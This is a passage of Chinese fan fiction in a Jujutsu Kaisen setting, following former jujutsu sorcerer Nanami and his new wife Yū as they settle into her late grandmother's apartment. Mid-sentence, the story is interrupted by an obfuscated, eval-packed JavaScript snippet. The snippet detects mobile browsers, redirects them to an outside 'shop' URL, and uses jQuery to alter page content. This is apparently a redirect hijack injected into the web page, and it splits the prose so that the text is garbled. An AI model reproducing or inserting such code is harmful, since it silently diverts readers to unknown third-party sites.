傍晚六点四十，衣柜组装完毕，书籍基本整理完成。
七海冲了个澡，换上灰色的家居服。
走出浴室时，悠正坐在客厅地板上，对着素描本发呆，炭笔在指间转来转去。
她已经换上了自己的睡衣——浅蓝色的短袖套装，上面印着小朵的白色雏菊。
“遇到困难了？”他问，在她身边坐下。
“七海海。”悠没有抬头，炭笔在纸上画出流畅的曲线，“你说，一间房子空了十三年，会变成什么样子？”
“具体指什么？”
“灰尘会堆积，墙皮会剥落，水管可能会锈蚀。这些是物理变化。”她的声音很轻，“但其他的呢？夜晚的声音，清晨的光线，空气流动的方式……房子会不会忘记怎么当一栋有人住的房子？”
她的问题带着艺术家的感性，但七海捕捉到了其中的某种认真。
不是随口一问。
“建筑物没有记忆功能。”他给出科学回答，“但长期空置会导致结构问题。所以我们需要全面检修，这是为了安全和长期居住考虑。”
“嗯。”悠终于转过头，夕阳的余晖让她的侧脸轮廓格外柔和，“那……人呢？如果一个人在房子里住了十三年，然后离开了，她留下的痕迹会存在多久？”
这个问题让七海停顿了片刻。他想起高专时期的那间宿舍，灰原死后他独自住了两年，直到毕业。
灰原的东西慢慢被收走，气味逐渐消散，最后连灰尘都覆盖了所有痕迹。
“物理痕迹会随着时间消退。”他谨慎地选择措辞，“但情感上的联系是另一回事。你是在想念外婆吗？”
悠眨了眨眼，然后露出一个有些模糊的笑容:“可能吧。不过现在这里有七海海了，所以没关系。”
她合上素描本，站起身时动作轻盈:“对了，晚饭想吃什么？今天我想下厨，给认真工作的老公大人做爱心晚餐。”
“按照分工，今天我负责晚饭。”七海也站起身，“你去摆碗筷就好。”
“那我要用外婆留下的那套餐具！蓝底白花的，在写着‘厨房’的那个箱子里。”
厨房很小，但设备齐全。七海系上围裙——深蓝色格子，是悠在超市买的，她说“这个颜色很配七海海的金发”。
他开始处理食材:鸡胸肉切丁，洋葱切碎，胡萝卜和土豆切块，每一刀都精准高效。
悠靠在厨房门框上看他，眼神有些放空。
“七海海以前经常自己做饭吗？”
“学生时期在寄宿制学校，食堂解决。”七海头也不回地说，“毕业后从事过一段时间特殊行业，饮食不规律。这三年来才系统学习烹饪。”
“特殊行业？”悠的声音里带着好奇，“之前没听你说过呢。”
“宗教相关的工作。”七海将食材下锅，油爆出香气，“类似民俗调查和异常事件咨询。需要经常出差，工作内容……不太适合家庭生活。”
这是他和灰原曾经商量过的说辞——如果有朝一日需要向普通人解释的话。
现在灰原已经不在了，但这个说辞依然适用。
“听起来好神秘。”悠走到流理台旁，开始摆碗筷，“是像驱魔师或者灵媒那样的工作吗？”
“更接近研究和分析。”七海撒入调味料，动作标准得像在实验室，“处理的大多是心理暗示、集体幻觉或者民间传说变形后的案例。人类对未知的恐惧会催生各种想象，我们的工作是分析这些现象的成因。”
“这样啊……”悠摆好筷子，动作很轻，“那七海海见过真正的……超自然现象吗？”
锅铲在锅中停顿了不到半秒。七海想起灰原死的那天，那个一级咒灵扭曲的姿态，灰原残缺的身体，还有自己咒力耗尽时眼前闪过的白光。
“在我的工作定义里，所有现象都有其成因。”他关火，将炖菜装盘，“所谓‘超自然’，大多是对现有科学认知的补充，而非颠覆。”
悠看着他端着盘子走向餐桌的背影，黑色眼眸在厨房的阴影里深不见底。
“也是呢。”她轻声说。
晚饭是鸡肉炖蔬菜和味噌汤，味道均衡而扎实。两人面对面坐在餐桌旁，窗外天色渐暗，社区的路灯次第亮起。
“下周开始我要跟进新项目。”七海一边用餐一边说，“可能会比平时晚下班一两个小时。晚饭不用等我，你先吃。”
“那我可以给七海海准备便当吗？”悠眼睛亮起来，“爱心便当！我可以早起做。”
“太麻烦了。公司在丸之内，附近有很多合适的餐厅。”
“可是我想做嘛。”悠用筷子戳着碗里的胡萝卜，嘴唇微微撅起，“新婚妻子给丈夫准备便当，不是很正常吗？而且七海海总吃外食，营养会不均衡的。”
七海看着她——微微撅起的嘴唇，期待的眼神，整套表情无懈可击。他知道这是她的惯用伎俩，但……
“……如果能在七点前完成，不影响你的工作时间的话。”他妥协了。
“太好了！”悠立刻笑起来，在餐桌下轻轻踢了踢他的脚，“那我要去买便当盒，还有分隔的小杯子，还有——”
“下周再说。”七海打断她，但嘴角有一丝几乎看不见的上扬，“明天是周六，计划是继续整理，联系检修公司，以及采购必需品。我已经列了清单。”
他从口袋里掏出另一张A4纸。悠凑过来看，两人的肩膀轻轻碰在一起，她的头发扫过他的手臂。
“哇……连垃圾袋的品牌和尺寸都写了吗？七海海好厉害。”
“这是效率问题。”七海感觉耳根又在发热，“另外，关于宠物——”
“诶？可以养吗？”悠立刻抬头，眼睛里闪着光，“小仓鼠？兔子？还是猫？其实我更喜欢狗，但公寓可能不太方便……”
“——的话题暂时搁置。”七海推了推眼镜，“目前居住空间尚未完全整理，不适合引入新变量。等一切稳定后，可以重新讨论。”
“那就是有可能的意思？”悠抓住他的袖子晃了晃，“七海海最好了！”
“我是说‘讨论’，不是‘同意’。”
“一样的嘛。”
完全不一样。
但七海决定不再纠正。
和悠相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154050|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处三个月，他学到的第一课就是:在某些领域，她的逻辑自成体系，无法用常规方式沟通。
饭后，七海洗碗，悠擦桌子。
两人在狭小的厨房里肩并肩工作，手臂偶尔相碰。
“对了。”悠忽然说，“明天整理的时候，如果发现奇怪的东西……要怎么办？”
“奇怪的东西指什么？”
“就是……老房子嘛。”悠的声音很轻，“外婆留下了很多杂物，有些可能已经损坏了，有些可能……”
她没有说完。七海停下手中的动作，转头看她。
“任何不需要的物品，都可以分类处理:捐赠、丢弃或回收。如果有不确定价值的物品，可以先保留，稍后评估。”
“嗯。”悠点点头，继续擦桌子，但动作慢了下来，“七海海。”
“嗯？”
“你说，如果一件东西在空房子里放了十三年……它还会记得自己是什么吗？”
这个问题太具体，太有指向性。
七海擦干手，认真地看着她。
“物品没有记忆功能。”他重复道，“但人有。如果你担心处理掉有纪念意义的物品，我们可以先全部保留，慢慢整理。”
悠与他对视，黑色眼眸在厨房灯光下像深潭。
“不是担心纪念意义。”她轻声说，“是担心……别的。”
“别的？”
但她只是摇摇头，露出一个有些疲惫的笑容:“没什么。可能今天太累了，有点胡思乱想。我去洗澡了，七海海收拾完早点休息。”
她离开时，轻轻抱了他一下——很短暂的拥抱，头在他胸口靠了不到两秒，然后就松开了。
“今天辛苦了。”她说，然后快步走向浴室。
七海站在原地，还能感觉到胸口残留的温度和触感。他低头看了看自己的手，然后继续洗碗。
晚上八点半，七海提着分类好的垃圾袋走出房门。
走廊的感应灯应声亮起，发出轻微的嗡鸣。
老式公寓的隔音不太好，他能听见隔壁传来的电视声、楼下孩子的哭声，以及远处电车的行驶声。
这就是普通人的生活。嘈杂、琐碎、真实。
在楼梯间的垃圾集中处放下袋子时，他眼角的余光捕捉到了什么。
在下一层楼梯的转角阴影里，蹲着一个模糊的轮廓。
形状不规则，表面有细微的蠕动，像是一团凝结的阴影。
咒灵，等级很低，大约是四级，由这栋公寓长年累积的微弱的负面情绪生成。
七海的动作没有丝毫停顿。他放好垃圾，转身，按下电梯按钮。
作为前咒术师，他清楚这种低阶咒灵几乎无害——只要不主动刺激，它甚至不会意识到人类的存在。
作为现在的普通上班族，他没有理由、也没有立场去处理它。
“工作已经结束了。”他低声对自己说，像是某种咒语，“现在是我的私人时间。”
电梯门打开时，他最后瞥了一眼那个角落。
阴影还在那里，缓慢地蠕动着，像是沉睡中的什么东西。